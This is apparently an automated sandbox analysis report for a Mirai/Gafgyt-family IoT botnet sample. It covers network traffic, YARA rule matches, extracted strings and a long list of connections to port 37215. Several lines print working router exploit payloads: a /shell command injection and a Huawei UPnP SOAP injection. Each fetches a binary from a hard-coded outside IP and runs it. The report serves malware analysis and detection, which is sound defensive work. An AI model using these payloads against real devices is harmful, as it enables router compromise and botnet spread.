Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: bot.nulling.io

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: boatnet.sh4.elf	String found in binary or memory: http://45.95.169.129/bin
Source: boatnet.sh4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: boatnet.sh4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54300
Source: unknown	Network traffic detected: HTTP traffic on port 43570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38638
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61319
Source: unknown	Network traffic detected: HTTP traffic on port 61319 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54300 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: boatnet.sh4.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: boatnet.sh4.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: boatnet.sh4.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5483.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5483.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5483.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5479.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5479.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5479.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: Process Memory Space: boatnet.sh4.elf PID: 5479, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: boatnet.sh4.elf PID: 5483, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://45.95.169.129/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://45.95.169.129/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: ELF static info symbol of initial sample

.symtab present: no

Source: boatnet.sh4.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: boatnet.sh4.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: boatnet.sh4.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5483.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5483.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5483.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5479.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5479.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5479.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: Process Memory Space: boatnet.sh4.elf PID: 5479, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: boatnet.sh4.elf PID: 5483, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.linELF@0/0@30/0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 34680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33490 -> 37215
